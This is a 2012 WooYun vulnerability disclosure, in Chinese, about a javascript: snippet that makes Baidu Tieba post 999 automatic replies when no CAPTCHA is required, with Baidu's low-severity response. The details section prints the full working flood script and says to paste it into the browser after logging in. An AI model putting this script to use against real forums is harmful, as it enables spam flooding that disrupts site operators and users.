漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-06338
漏洞标题：IE执行JAVASCRIPT导致百度等贴吧强制回复
相关厂商：百度
漏洞作者： tianmu
提交时间：2012-04-24 18:42
修复时间：2012-06-08 18:43
公开时间：2012-06-08 18:43
漏洞类型：应用配置错误
危害等级：低
自评Rank：2
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-04-24： 细节已通知厂商并且等待厂商处理中
2012-04-25： 厂商已经确认，细节仅向厂商公开
2012-05-05： 细节向核心白帽子及相关领域专家公开
2012-05-15： 细节向普通白帽子公开
2012-05-25： 细节向实习白帽子公开
2012-06-08： 细节向公众公开
简要描述：
在IE浏览器等浏览器中执行javascript代码，在百度贴吧等地方无验证码的情况下导致循环回帖。最终达到爆吧效果
详细说明：
javascript:var c=rich_postor._getData();c.content='我爱你';for(var i=1;i<=999;i++){PostHandler.post(rich_postor._option.url,c,function(I){rich_postor.showAddResult(I)},function(I){});};void 0
登录账号后，只要达到无验证码权限，进入帖子页面后，在浏览器粘贴此代码将自动回帖。
漏洞证明：
数页回复均为此类
修复方案：
暂无有效防护
版权声明：转载请注明来源 tianmu@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：1
确认时间：2012-04-25 17:30
厂商回复：
贴吧在单位时间内的回复数量是有一定限制的，不只是验证码。
感谢提交~~
最新状态：
暂无